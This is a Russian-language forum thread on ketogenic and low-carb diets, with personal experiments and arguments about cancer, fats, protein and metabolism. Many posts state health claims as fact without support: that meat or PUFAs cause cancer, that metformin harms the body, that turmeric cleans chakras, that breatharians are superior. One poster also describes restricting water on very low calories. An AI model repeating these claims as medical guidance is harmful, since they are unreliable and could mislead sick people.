Лучше держаться подальше от такого питания, будь оно хоть четырежды "традиционным". Такой низкий % ПНЖК характерен для мяса, а оно грозит слабоумием, раком, диабетом и ссз. То есть полная противоположность тому питанию которое способствует профилактике всего этого.

marla 09-03-2014 11:43

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 887783)
Такой низкий % ПНЖК характерен для мяса, а оно грозит слабоумием, раком, диабетом и ссз.

для рака надо много углеводов и, как последствие, много инсулина
http://diagnosisdiet.com/dietary-treatment-of-cancer/

для диабета- тоже
http://www.diabetes-warrior.net/a-me...itional-chart/

профилактикa? Держатся подальше от углеводов, a не от мяса. :super:

слабоумие? она уже у тебя, если ты думаеш сесть на диету с болшим количеством ПНЖК.

One study showed that just 0.5 percent of the diet in PUFAs is enough to trigger cancer. The best choices include fats from ruminant animals (i.e. cows, sheeps and goats), coconut oil, cocoa butter and palm kernel oil. Olive oil is generally safe, but contains 10 percent PUFAs so should be used in moderation.

Maksenek 09-03-2014 12:14

Re: Кетогенная диета
 
Цитата:

Сообщение от marla (Сообщение 887837)
для рака надо много углеводов и, как последствие, много инсулина
http://diagnosisdiet.com/dietary-treatment-of-cancer/

для диабета- тоже
http://www.diabetes-warrior.net/a-me...itional-chart/

профилактикa? Держатся подальше от углеводов, a не от мяса. :super:

слабоумие? она уже у тебя, если ты думаеш сесть на диету с болшим количеством ПНЖК.

One study showed that just 0.5 percent of the diet in PUFAs is enough to trigger cancer. The best choices include fats from ruminant animals (i.e. cows, sheeps and goats), coconut oil, cocoa butter and palm kernel oil. Olive oil is generally safe, but contains 10 percent PUFAs so should be used in moderation.

Эти ссылки не научные исследования, а псевдо- и паранаучная пропаганда оголтелых фанатиков-мясоедов. Наука говорит совсем другое (я много читаю исследований), в том числе и ведущие научные центры и медицинские организации. Поэтому рекомендую срочно завязывать чтения этих сумасшедших фанатиков - если дорого собственное здоровье и жизнь.

marla 09-03-2014 13:38

Re: Кетогенная диета
 
:lol::lol: Мне важна мое здоровье и жизнь, так как рак у меня уже был. 7 лет назад. Потому ем мясо, насыщенные жиры, мало углеводов, и плевать мне на тех ЗОЖ-иков у кого недостаточно мозгов, чтоб понять- настоящие мясоеды в севере раком и диабетом стали болеть только тогда, когда к ним пришла цивилизация с углеводами.

Достаточно научно?
http://www.nutritionandmetabolism.com/content/7/1/7

http://www.ncbi.nlm.nih.gov/pubmed/21885251

Maksenek 09-03-2014 14:10

Re: Кетогенная диета
 
Цитата:

Сообщение от marla (Сообщение 887862)
:lol::lol: Мне важна мое здоровье и жизнь, так как рак у меня уже был. 7 лет назад. Потому ем мясо, насыщенные жиры, мало углеводов, и плевать мне на тех ЗОЖ-иков у кого недостаточно мозгов, чтоб понять- настоящие мясоеды в севере раком и диабетом стали болеть только тогда, когда к ним пришла цивилизация с углеводами.

Достаточно научно?
http://www.nutritionandmetabolism.com/content/7/1/7

http://www.ncbi.nlm.nih.gov/pubmed/21885251

Да, я в курсе что ограничением углеводов можно лечить некоторые виды рака. Но низкоуглеводку лучше делать на здоровой пище - ведь есть и другие виды рака, не говоря уже о прочих рисках для здоровья, в том числе и самое страшное - слабоумие. В отличие от рака, оно неизлечимо и необратимо. Так что советую одуматься, пока не стало слишком поздно, и поменять рацион на более безопасный.

marla 09-03-2014 14:51

Re: Кетогенная диета
 
видиш, ты наверное умеешь измерить себе температуру и занешь какая она у здорового человека. А я мерю свое дыхание, плотность и пН мочи, пН слюны, знаю какие они есть у здорового человека, и знаю что делать, когда они отклоняется от тех параметров и что значит ети отклонения. Ети параметры меняется зaдолго до рака, диабета, или автоимунных болезней. И только моё теперешнее питание позволяет мне управлять етими параметрами и своим метаболизмом. Так что непугай, не испугаешь.

Maksenek 09-03-2014 15:08

Re: Кетогенная диета
 
Да нет конечно, мое дело было предупредить, будем надеяться что всё будет хорошо.
Цитата:

Сообщение от marla (Сообщение 887871)
А я мерю свое дыхание,

Цитата:

Сообщение от marla (Сообщение 887871)
моё теперешнее питание позволяет мне управлять етими параметрами и своим метаболизмом.

А можно поподробнее об этом? Интересно, какая частота дыхания и скорость метаболизма.

marla 09-03-2014 17:42

Re: Кетогенная диета
 
http://www.royalrife.com/hbal.html

частота дыхания отдельно взято мало о чём говорит, но вместе с другими параметрами позволяет понять положение в организме. А тот, который уже болел раком, особенное внимание должен уделять для поддержание равновесия между анаболизмом и катаболизмом. Ето как качели. Hету глубоких дисбалансов- нет болезней, нет рака.

скорость метаболизма? А что ето?

Сергей Р 09-03-2014 18:29

Re: Кетогенная диета
 
Цитата:

Сообщение от marla (Сообщение 887898)
А тот, который уже болел раком, особенное внимание должен уделять для поддержание равновесия между анаболизмом и катаболизмом.

Такое ощущение, что Вы начитались либо Рауля либо Ревича. К Вашему сведению, это не самые лучшие авторы.



Цитата:

Сообщение от marla (Сообщение 887871)
ты наверное умеешь измерить себе температуру и знаешь какая она у здорового человека

Кстати о температуре.

Сейчас померял у себя - 35,8 и даже не знаю, хорошо это или плохо.

Помню читал у Фролова (который тренажер дыхательный), что уменьшение температуры тела на 2 градуса увеличивает продолжительность жизни до 200 лет.

Правда, сам Фролов прожил слегка за 60.



Maksenek, а что нам говорит Паб Мед о связи температуры с продолжительностью жизни?
Я думаю, Вы этот вопрос исследовали.

RomanK 09-03-2014 19:51

Re: Кетогенная диета
 
Марла, а можно подробнее про свое питание вообще и в частности. Есть тут у меня личные непонятки по поводу кетогенки, поэтому интересен практический подход...

marla 09-03-2014 19:56

Re: Кетогенная диета
 
Цитата:

Сообщение от Сергей Р (Сообщение 887909)
Такое ощущение, что Вы начитались либо Рауля либо Ревича.

А может Dr. Schenker'a?

Health = (anti-oxidants/oxidants) x (saturated fats/PUFAs)

marla 09-03-2014 20:10

Re: Кетогенная диета
 
Цитата:

Сообщение от RomanK (Сообщение 887934)
Марла, а можно подробнее про свое питание вообще и в частности. Есть тут у меня личные непонятки по поводу кетогенки, поэтому интересен практический подход...

A зачем тебе кетогенка? Цель?
я сама не сижу на кетогенке, можно назвать ето палео low carb, углеводов зимой у меня~ 30-50 гр. Летом болше.
Моя цель- не болеть. Ничем.

Maksenek 10-03-2014 03:42

Re: Кетогенная диета
 
Цитата:

Сообщение от marla (Сообщение 887898)
скорость метаболизма? А что ето?

Это сколько калорий человеку надо есть для поддержания веса.
Цитата:

Сообщение от Сергей Р (Сообщение 887909)
Кстати о температуре.

Температуру важно измерять правильно. Удобнее всего под языком (время измерения от 10 сек до 3 минут в зависимости от термометра). Под мышкой не подходит, т.к. это дает очень большие отклонения в сторону занижения. Кроме того, надо иметь ввиду что температура существенно колеблется в течении суток: http://en.wikipedia.org/wiki/File:Bo..._Variation.png О связи температуры с продолжительностью жизни тут: http://golodanie.su/forum/showpost.p...&postcount=277
Цитата:

Сообщение от RomanK (Сообщение 887934)
Есть тут у меня личные непонятки по поводу кетогенки

А что за непонятки, если не секрет?

Леопольдовна 10-03-2014 05:53

Re: Кетогенная диета
 
Цитата:

Сообщение от marla
скорость метаболизма? А что ето?
Цитата:

Сообщение от Maksenek (Сообщение 887951)
Это сколько калорий человеку надо есть для поддержания веса.

Макс, как всегда жжот!!!!

Цитата:

Сообщение от RomanK (Сообщение 885370)
... "основа рациона"... годик как белочка. Потом отчет в студию, чтоб народ тоже мог приобщиться к идеалу.
Успехов

Белочкой он уже пробовал, теперь бы зайчиком попробовать:D

Maksenek 10-03-2014 06:17

Re: Кетогенная диета
 
Черепашка - вот самое прекрасное животное!:-)
http://maksenek.narod.ru/images/turtle.jpg

marla 10-03-2014 07:21

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 887951)
Это сколько калорий человеку надо есть для поддержания веса.

Мечта идиота- жрать любые калории (хоть говно) и иметь приличный вес. :lol: А потребности организма его не интересует.
Когда еш то, что надо, вес и все функций организма поддерживается автоматически.
А измерение параметров помогает подобрать нужное соотношение БЖУ.
Когда параметры в норме- ты здоров. Болезнь- ето лишь симптом отклонении в параметрax.


Цитата:

Кроме того, надо иметь ввиду что температура существенно колеблется в течении суток: http://en.wikipedia.org/wiki/File:Bo..._Variation.png О связи температуры с продолжительностью жизни тут: http://golodanie.su/forum/showpost.p...&postcount=277

Один из симптомов катаболического дисбаланса- повышенная температура длительное время.
Померила теперь свою: под мышкои- 35,6, под языком 36. Калорий не считаю, ем редко, но сыто. Зимои 1-2 раза в сутки, летом 2-3.
Думаю важнее быть здоровым, больнои жить долго не будет.
А долгожители живут долго из за низкого уровня инсулина.

snail 10-03-2014 07:39

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 887979)
Черепашка - вот самое прекрасное животное!:-)

Точно! Макс всегда прав!
http://img1.liveinternet.ru/images/a...e912678e07.jpg

Maksenek 10-03-2014 07:45

Re: Кетогенная диета
 
Цитата:

Сообщение от marla (Сообщение 887995)
Калорий не считаю,

Надо считать! Dr. Ede, на которую вы ссылаетесь, считает всё строго и постоянно - и калории и БЖУ. Это важный параметр. "Зона метаболического управления" по Сейфриду, то есть чтобы кетодиета действовала против рака, должна быть энергоценностью на 30% меньше основного обмена (т.е. около 1000 ккал), обеспечивать уровень глюкозы в крови 55-65 мг/дл, кетонов не менее 4 ммоль, и отказ от физической активности (т.к. упражнения повышают глюкозу в крови). Это надо соблюдать, чтобы было противораковое действие.

marla 10-03-2014 08:20

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 888000)
Надо считать!

мне- не надо, я же здорова. :super:
Раком не болею, а мое питание теперь- охрана от рецидива. Параметры в норме- нет рака. И не будет, пока они в норме.

Начало рака- в кишечнике, неправильное питание(сахар, крахмал, и ПHЖК) позволяет в кишечнике плодится плохои микрофлоре, грибкам, ето дают отклонения в метаболизме.
Иди б гооогл, ищи инфо : role gut microbiota, metabolism, nutrition
Наука копается в говне .

Iosif 10-03-2014 13:30

Re: Кетогенная диета
 
Цитата:

Сообщение от marla (Сообщение 887995)
А долгожители живут долго из за низкого уровня инсулина.

На русском про это поподробнее где нибудь есть?

RomanK 10-03-2014 15:11

Re: Кетогенная диета
 
Дык, Марла, и у меня не кетогенка, а малоуглеводка палео, даже суровее, я еще и крахмалы не ем.
Непонятка вот в чем: дядька Круз там чего-то теломеры мерил, намерил, что даже при палеодиете не все так однозначно, важен холод, типа морозить себя. Один мужик, перешедший на такое же палео (по сезону: зимой мин углей, почти кето, летом сезонные овощи, сладкий картофель, угли до 300-400 гр в сутки), сделал мужик энтот анализы, получил СРБ (воспаление) выше, чем было. Залез он в ледяную ванну (опыт у него был до этого) и сидел там упорно и долго в течение шести недель. Сдал анализы опять, СРБ рухнул ниже плинтуса. Дядька Круз примерно в том же духе, только теламеры сдавал, сказали, что уменьшаться перестали (жираф не из моего зоопарка, просто пересказываю). Он про это выступал на конференции "народных энтузиастов кулибиных" ТЭД, вроде где-то в сети есть, когда-то смотрел. Если принять, что метобализм раскручивается, а еще добавить железа, для вздрючки гормонов, то, лично у меня подозрение, что процессы, в том числе и отрицательные могут разогнаться.
Пока ничего не могу сказать, просто есть подозрения. Отсюда, интересен опыт.
Однозначно можно сказать, что при палео малоуглеводке спокойнее и сытнее. Головешку не сносит.

kukunja 10-03-2014 16:43

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 888000)
Надо считать!

Как-то заложили в компьютер параметры необходимого потребления калорий в сутки - компьютер выдал, что нужно выпивать 10 чашек уксусной кислоты. Изменили программу выдал - 10 чашек кофе.

Maksenek 11-03-2014 09:29

Re: Кетогенная диета
 
Цитата:

Сообщение от RomanK (Сообщение 888062)
Непонятка вот в чем: дядька Круз там чего-то теломеры мерил, намерил, что даже при палеодиете не все так однозначно,

Дядька Круз использует теорию старения (коих множество), от которой впоследствии отказался сам её автор:
Цитата:

8 июля 2007 года в гостинице «Прибалтийская» Санкт-Петербурга, где в то время проходил VI Европейский Конгресс международной ассоциации геронтологии и гериатрии, А. М. Оловников публично отказался от теломерной теории старения:

«Брали клетки двадцатилетнего и девяностолетнего, и оказывалось, что разброс в их способности к делению не так уж и велик. Клетки просто не успевают исчерпать свой лимит удвоений до того, как организм постареет и даже отойдет в мир иной. Оказалось, кроме того, что лабораторные мыши с довольно длинными теломерами и дикие с короткими теломерами живут одинаковый срок. И я понял, что не укорочение теломер является движущей силой старения (Ред. А. М. Оловников имеет ввиду старение многоклеточного организма)».

Из интервью А. М. Оловникова. Барсова Р. Теории старения[11]

http://ru.wikipedia.org/wiki/Фенопто...BE.D0.B2.D0.B0

Цитата:

Сообщение от RomanK (Сообщение 888062)
Если принять, что метобализм раскручивается, а еще добавить железа, для вздрючки гормонов, то, лично у меня подозрение, что процессы, в том числе и отрицательные могут разогнаться.

И эти подозрения вполне обоснованы - ускорение метаболизма коррелирует со смертностью. Короче, бегом в могилу)) Я как раз и использовал кетогенку для уменьшения аппетита и замедления метаболизма. Но если при этом кушать много белка (как дядька Круз), то из него будет синтезироваться глюкоза и её уровень в крови будет как у обычного чела. Dr. Ede самолично убедилась в этом на своих анализах. Только сокращение белка с 75 до 55 г/сут направило её глюкозу в сторону "зоны управления" Сейфрида, хотя и такого снижения не хватило. Наверно, для эффекта надо было снизить белок хотя бы до уровня официальных рекомендаций.

Maksenek 19-03-2014 07:23

Re: Кетогенная диета
 
"Как пишут в Nature Дэвид Сабатини (David M. Sabatini) и его коллеги, из тридцати линий раковых клеток большинство никак не почувствовало недостаток глюкозы, некоторые же затормозились в росте, а другие, наоборот, ускорили его."

http://compulenta.computerra.ru/chel...sina/10012059/

marla 19-03-2014 09:58

Re: Кетогенная диета
 
Ех, наука....метформин не удаляет причину- гиперинсулинемию. Он только делает хорошыми показатели сахара в крови, так как принудительно запихивает глиюкозу в клетки и понижает уровень в крови... и ускоряет деградацию организма.
Цепочка: много углеводов в питанийи = много инсулина= метаболический синдром= диабет= рак...

Они убрали причину- углеводы- и не стали жертвами науки и метформина.

Maksenek 19-03-2014 11:31

Re: Кетогенная диета
 
Цитата:

Сообщение от marla (Сообщение 889823)
не удаляет причину- гиперинсулинемию.

Там было показано, что раковые клетки реагирует именно на уровень глюкозы, а не инсулина (см. выше).

marla 19-03-2014 12:52

Re: Кетогенная диета
 
то что наблюдает наука в пробирке, не всегда совпадает с тем, что происходит в теле.

Maksenek 19-03-2014 13:03

Re: Кетогенная диета
 
Цитата:

Сообщение от marla (Сообщение 889861)
то что наблюдает наука в пробирке, не всегда совпадает с тем, что происходит в теле.

Это и был эффект в теле (см. исследование). А клеточные культуры подтвердили правильность открытия.

Maksenek 19-03-2014 14:35

Re: Кетогенная диета
 
Пришлось начать по новой. После прекращения кетогенки ЧД постепенно восстановилась: сначала с 5.5 до 7, а впоследствии и до прежних 10. Наверно надо было подольше посидеть. Но вот сколько? У кого-нибудь есть инфа по динамике изменения физио- и/или биохим-параметров на кето за длительный период?

Maksenek 03-04-2014 07:37

Re: Кетогенная диета
 
Вложений: 1
Данные Dr. Ede. Интересно энергетическое соотношение жира - 57% энергии (как и в грудном молоке - 56%), у меня при свободном питании с уклоном к жирному также устанавливается схожий процент - 58. Насчет остальной части энергобаланса, есть перекос от углеводов к белку, однако учитывая что последний легко трансформируется в углеводы, это соотношение у нее также может быть соблюдено в соответствии с грудным молоком, при условии если из тех 65 г 52 идут на глюкозу и 13 используются как собственно белок.

veg 04-04-2014 15:09

Re: Кетогенная диета
 
Цитата:

Сообщение от Олег1099 (Сообщение 884510)
Пульс упал до 57-60 ударов в минуту, раньше был 72-90 ударов.

У Вас в рационе есть одно сильное средство-это куркума. И усваивается она как-раз с медом,который тоже присутствует. Куркума корректирует как избыточность так и недостаточность метаболических процессов,способствует усвоению белка,эффективно очищает чакры и способствует эластичности тканей (по аюрведе). Все это облегчило работу сердца.
.

veg 04-04-2014 15:10

Re: Кетогенная диета
 
Кто и как численно оценивает кетоз?

Сергей Р 05-04-2014 04:44

Re: Кетогенная диета
 
Цитата:

Сообщение от veg (Сообщение 893896)
Кто и как численно оценивает кетоз?


Я как то на голодании измерял кетоны в моче тест полосками Кетофан.

И рекомендую почитать http://golodanie.su/forum/showthread...%FB#post351532

Maksenek 07-04-2014 08:54

Re: Кетогенная диета
 
О вреде избытка углеводов для детей:
Цитата:

При искусственном вскармливании существует проблема перекорма детей углеводами, что ведет к избыточной массе тела, снижению иммунитета, аллергизации, повышает нагрузку на поджелудочную железу ребенка. Поэтому важным требованием к современным адаптированным смесям является содержание в них олигосахаридов ("Мамекс Плюс", "Нутрилон Омнео"), а также ограничение углеводов, содержание которых не должно быть выше 12 г на 100 ккал.

http://www.ourbaby.ru/article/Iz-che...olochnye-smesi

Сергей Р 16-04-2014 03:04

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 889878)
После прекращения кетогенки ЧД постепенно восстановилась: сначала с 5.5 до 7, а впоследствии и до прежних 10.


В кетозе потребность в кислороде меньше: для метаболизма жиров требуется меньше кислорода, чем для метаболизма глюкозы.

Maksenek 16-04-2014 05:12

Re: Кетогенная диета
 
Цитата:

Сообщение от Сергей Р (Сообщение 896260)
В кетозе потребность в кислороде меньше: для метаболизма жиров требуется меньше кислорода, чем для метаболизма глюкозы.

Тоже поначалу возникло такое предположение, но быстро отбросил. На получение энергии из жира, требуется даже немного больше кислорода:
Цитата:

Если окислению подвергаются углеводы, то при поглощении 1 л кислорода высвобождается 5,05 ккал энергии, если жиры и белки — соответственно 4,7 и 4,8 ккал.

http://www.km.ru/zdorove/encyclopedia/obmen-energii
Кроме того, по алиментарной калориметрии также заметно, что потребление энергии уменьшилось. Видимо дело в том, что ограничение белка с углеводами, помимо снижения глюкозы в крови, подавляет Т3 и повышает рТ3, что как известно снижает метаболизм.

Maksenek 07-06-2014 04:24

Re: Кетогенная диета
 
Заметил интересный эффект. При ограничении воды, организм по собственному желанию переходит на низкоуглеводное питание. При том что никаких ограничений на углеводистую пищу нет.

При средней калорийности 800, углеводов получается 36 г/сут (18% энергии).

qaz 07-06-2014 10:47

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 904799)
Заметил интересный эффект. При ограничении воды, организм по собственному желанию переходит на низкоуглеводное питание.

Смотря какие углеводы. Крахмалу для катаболизма нужно примерно в 5 раз больше воды. Ягоды, фрукты "самодостаточны". А с арбузом можно ограничить воду до 0. )))

Maksenek 07-06-2014 14:53

Re: Кетогенная диета
 
Цитата:

Сообщение от qaz (Сообщение 904849)
Смотря какие углеводы. Крахмалу для катаболизма нужно примерно в 5 раз больше воды. Ягоды, фрукты "самодостаточны". А с арбузом можно ограничить воду до 0. )))

Тип углеводов вряд ли так сильно влияет. Во фруктах и ягодах просто много воды, во многих больше потребности 1мл на 1 ккал. В рационе присутствует и крахмальное и сахаристое без ограничений.

qaz 07-06-2014 15:34

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 904872)
Тип углеводов вряд ли так сильно влияет. Во фруктах и ягодах просто много воды, во многих больше потребности 1мл на 1 ккал.

Глюкоза, фруктоза, лактоза, мальтоза, крахмал значительно отличаются в катаболизме.
Помнишь я тебе предлагал опыт с глюкозой. При аэробном распаде глюкозы образуется эндогенная чистейшая ВОДА.
С6Н12О6 + 6О2 → 6СО2 + Н2О + 2820 кДж/моль.
http://upload.wikimedia.org/wikipedi..._Glicozida.png

Maksenek 07-06-2014 16:16

Re: Кетогенная диета
 
Цитата:

Сообщение от qaz (Сообщение 904877)
При аэробном распаде глюкозы образуется эндогенная чистейшая ВОДА.

Крахмал всасывается в виде глюкозы, так что без разницы. Поскольку эндогенная вода всё равно не покрывает потребности, управление осуществляется свободной.

qaz 07-06-2014 16:26

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 904882)
Крахмал всасывается в виде глюкозы, так что без разницы.

Опыт:
1.Погрызи сухари несколько дней без воды.
2.Столько же дней без воды рассасывай таблетированную глюкозу.

Maksenek 07-06-2014 16:30

Re: Кетогенная диета
 
Цитата:

Сообщение от qaz (Сообщение 904884)
Опыт:
1.Погрызи сухари несколько дней без воды.
2.Столько же дней без воды рассасывай таблетированную глюкозу.

Не знаю что ты собираешься доказать этим опытом, но раз тебе надо, ставь на себе. :D

kukunja 08-06-2014 03:49

Re: Кетогенная диета
 
Цитата:

Сообщение от qaz (Сообщение 904884)
Опыт:
1.Погрызи сухари несколько дней без воды.
2.Столько же дней без воды рассасывай таблетированную глюкозу.

Про углеводы не скажу, но из опыта - ложка сливочного масла убивает жажду.

ArmStrong 08-06-2014 16:03

Re: Кетогенная диета
 
какое оптимальное соотношение белков к жирам в кетогенной диете? а в низкоуглеводной диете?
кто либо пробовал сыромоноедение масляничных культур?

Олег1099 08-06-2014 19:04

Re: Кетогенная диета
 
Цитата:

Сообщение от ArmStrong (Сообщение 905056)
кто либо пробовал сыромоноедение масляничных культур?

КОГДА ВЕГАНИЛ- семечки тыквенные, грамм 200, и подсолнечные, грамм 400 в день, замоченные в воде на сутки - ел неделю - ничего особого не заметил - насыщает конечно здорово в сравнении с сырыми овощами))

Maksenek 09-06-2014 02:27

Re: Кетогенная диета
 
Цитата:

Сообщение от ArmStrong (Сообщение 905056)
какое оптимальное соотношение белков к жирам в кетогенной диете?

Лишний белок будет конвертироваться в организме в глюкозу, что будет поддерживать такой уровень глюкозы в крови, как если бы питался как обычно - это показал опыт Dr. Ede, ранее было в теме. Если есть совсем много белка, очевидно и кетонам также может прийти конец. Поэтому, важно не переедать лишнего белка. Официальная потребность в белке 0.8 г/кг. Но, как показало исследование, организм может адаптироваться и поддерживать азотистое равновесие по меньшей мере на 0.36 г/кг, хотя возможно и это не предел, т.к. более низкие уровни не проверялись.

Maksenek 23-11-2014 08:28

Re: Кетогенная диета
 
Хм, вот ведь что удивительно... Даже и не стремлюсь к низкоуглеводке и давно не практикую, а всё равно угли устанавливаются на 18% энергии, как и у Dr. Ede. Ем что и сколько хочу, только воду и фруктозу ограничиваю. Организм что, под воздействием голоданий и/или низкоуглеводных диет сам "решил", что так ему будет лучше, или что? Также интересно, вопрос к топикстартеру и другим лоукарберам - у вас БЖУ в среднем (с учетом срывов) сколько % энергии получается? Ну это когда/если у вас питание без жестких ограничений, конечно.

qaz 23-11-2014 09:20

Re: Кетогенная диета
 
Цитата:

Сообщение от ArmStrong (Сообщение 905056)
сыромоноедение масляничных культур?

Это высушенные солнечной радиацией семечки подсолнечника на завалинке лузгать что ли?
Цитата:

Сообщение от Maksenek (Сообщение 905140)
хотя возможно и это не предел, т.к. более низкие уровни не проверялись.

Проверялись. Есть терапевтическая диета, только МСТ жиры или кокосовое масло.
Есть еще "ликвидорианцы", праноеды всякие, которые белок не жрут.

Maksenek 23-11-2014 09:34

Re: Кетогенная диета
 
Цитата:

Сообщение от qaz (Сообщение 929441)
Проверялись. Есть терапевтическая диета, только МСТ жиры или кокосовое масло.
Есть еще "ликвидорианцы", праноеды всякие, которые белок не жрут.

Из написанного не следует, что проверялись.

qaz 23-11-2014 15:46

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 929446)
Из написанного не следует, что проверялись.

Белок не ели продолжительное время, например, дети с эпилепсией на терапевтической кетодиете и вовсе не едят белок "ликвидорианцы", праноеды всякие. У детей с эпилепсией припадки заканчиваются и общее состояние лучше становится, пока они на терапевтической кетодиете. Это медицинские факты.
Праноеды всякие по уровню бытия находятся выше "ученых" пищевых наркоманов, так что "ученым" негоже переть со свинным рылом в калашний ряд...

Maksenek 23-11-2014 17:10

Re: Кетогенная диета
 
Цитата:

Сообщение от qaz (Сообщение 929476)
Белок не ели продолжительное время, например, дети с эпилепсией на терапевтической кетодиете и вовсе не едят белок "ликвидорианцы", праноеды всякие. У детей с эпилепсией припадки заканчиваются и общее состояние лучше становится, пока они на терапевтической кетодиете. Это медицинские факты.
Праноеды всякие по уровню бытия находятся выше "ученых" пищевых наркоманов, так что "ученым" негоже переть со свинным рылом в калашний ряд...

Из написанного по-прежнему не следует, что проверялись более низкие уровни белка. Нет таких фактов. А фантазии ни о чем не говорят, т.к. нафантазировать можно всё что угодно.

Iosif 24-11-2014 08:59

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 929430)
Даже и не стремлюсь к низкоуглеводке и давно не практикую, а всё равно угли устанавливаются на 18% энергии, как и у Dr. Ede. Ем что и сколько хочу, только воду и фруктозу ограничиваю.

Возможно, что гликирование для организма неприятно. Когда есть возможность выбора, то организм выбирает более комфортные условия.

Iosif 24-11-2014 09:02

Re: Кетогенная диета
 
Цитата:

Сообщение от ArmStrong (Сообщение 905056)
кто либо пробовал сыромоноедение масляничных культур?

Читал, что слишком много омега-3 в длительной перспективе тоже не очень хорошо.

ArmStrong 25-11-2014 04:18

Re: Кетогенная диета
 
испробовал моно семечки подсолнуха и тыквенные, чёрный кунжут, какао бобы, миндаль, в виде пюре для улучшения переваривания, запивая их же маслом, так длилось несколько дней, потом потянуло на белки, стал есть свежие живые устрицы с сушёным рыбьим филе. Всё с аппетитом, на угли не тянет. Устрицы - единое существо которое можно есть живьём, хранится 4 дня без пищи и воды, тогда как рыбу живьём можно съесть только сразу после поимки. Но и к семечкам отвращения не получилось, но организм требует животного белка, вот именно животного, а не растительного, которого и так много в семечках и орехах.

P.S. обратите внимание на свои гастрономические сны, там можете найти подсказки к вашей диете

kukunja 25-11-2014 16:04

Re: Кетогенная диета
 
Прочитал на днях Жолондз М.Я., "Вегетарианство". Там он описывает факторы/условия лишения мозга подпитки при низкокалорийном питании на вегетарианстве. Интересно, как сказывается, в случае, питания на мясе/жире в деятельности мозга. При редком питании я употребляю за раз порядка 3000-4000 ккал. и с головой вроде бы пока (скоро будет год) нормально мысли шевелятся, что приходится их даже гасить (ни кому не нужны наши идеи в нашей стране, только платишь за авторство на патент), то бишь как бы с башкой все нормально - "Но черт возьми...".

Maksenek 25-11-2014 16:45

Re: Кетогенная диета
 
Цитата:

Сообщение от ArmStrong (Сообщение 929625)
Но и к семечкам отвращения не получилось, но организм требует животного белка, вот именно животного, а не растительного, которого и так много в семечках и орехах.

В орехах и семечках как раз недостаточно много белка для низкоуглеводки, поскольку на ней повышенная потребность в белке из-за того что он расходуется на синтез недостающей глюкозы. У Dr. Ede например доля БЖУ в рационе 26 - 56 - 18 % энергии. В орехах и семечках доля жира как правило выше 56%, а доля белка и углеводов соответственно меньше. Поэтому тянет догоняться продуктами с более высокой долей белка и/или углеводов. Лучше всего подходят маложирные мясо/рыба (где доля белка может достигать 90% энергии) и/или высокоуглеводные продукты.
Цитата:

Сообщение от kukunja (Сообщение 929698)
Прочитал на днях Жолондз М.Я., "Вегетарианство". Там он описывает факторы/условия лишения мозга подпитки при низкокалорийном питании на вегетарианстве. Интересно, как сказывается, в случае, питания на мясе/жире в деятельности мозга. При редком питании я употребляю за раз порядка 3000-4000 ккал. и с головой вроде бы пока (скоро будет год) нормально мысли шевелятся, что приходится их даже гасить (ни кому не нужны наши идеи в нашей стране, только платишь за авторство на патент), то бишь как бы с башкой все нормально - "Но черт возьми...".

Жолондз - сомнительный источник для получения научной информации. Не знаю как насчет вегетарианства, но низкокалорийное питание уменьшает скорость возрастного отмирания клеток мозга, сохраняет память, уменьшает риск возрастных нейродегенеративных заболеваний (старческого слабоумия). То есть однозначно полезно для мозга.

Maksenek 25-11-2014 17:23

Re: Кетогенная диета
 
Кстати насчет орехов-семечек. Хотя я стремился к разнообразию, но постепенно отпали все орехи и семечки после того как подключил арахис. Теперь только его и ем. Вкусный, зараза. Или может организм просто считает что у него лучший состав? Как бы то ни было, вот такие дела. Мелкий красный (или мелкий розовый) самый лучший как по вкусу так и по качеству.

kukunja 25-11-2014 18:00

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 929704)
Жолондз - сомнительный источник для получения научной информации

Для меня, некоторые его выводы показались логичными.

Maksenek 25-11-2014 19:40

Re: Кетогенная диета
 
Цитата:

Сообщение от kukunja (Сообщение 929712)
Для меня, некоторые его выводы показались логичными.

Если выводы ошибочные, то что толку от их "логичности". Аристотель сделал много логических выводов, но большинство его заключений оказались ложными, не выдержав экспериментальную проверку.

ArmStrong 25-11-2014 21:01

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 929708)
Кстати насчет орехов-семечек. Хотя я стремился к разнообразию, но постепенно отпали все орехи и семечки после того как подключил арахис. Теперь только его и ем. Вкусный, зараза. Или может организм просто считает что у него лучший состав? Как бы то ни было, вот такие дела. Мелкий красный (или мелкий розовый) самый лучший как по вкусу так и по качеству.

я исключил арахис из своего меню после изучения его состава через поисковик. Да он сладкий, много там углей, и часто заражён плесенью. Делаю это ради перестраховки и никого не отговариваю, каждый взвешивает свой риск.

Maksenek 26-11-2014 02:07

Re: Кетогенная диета
 
Цитата:

Сообщение от ArmStrong (Сообщение 929723)
я исключил арахис из своего меню после изучения его состава через поисковик. Да он сладкий, много там углей, и часто заражён плесенью. Делаю это ради перестраховки и никого не отговариваю, каждый взвешивает свой риск.

Вообще-то, даже у тех кто стремится ограничивать углеводы и придерживаться кетогенной диеты (как Dr. Ede), в среднем за длительный период их получается минимум 18% энергоценности рациона. Видно это минимально необходимое количество. Ну это если конечно не насиловать организм вплоть до строгого запрета даже если очень захочется. Так вот, в арахисе всего 5 % от углеводов: http://www.intelmeal.ru/nutrition/fo...-types-raw.php А надо 18. Так что с арахисом получаешь не избыток углеводов, а наоборот, нехватку.

Разговоры о вреде арахиса носят гипотетический характер, например, "он бывает часто заражен плесенью и её афлатоксином - значит может быть вред", "там ингибиторы - значит может быть вред", "там много жира - значит может быть лишний вес и вред" и т.д.

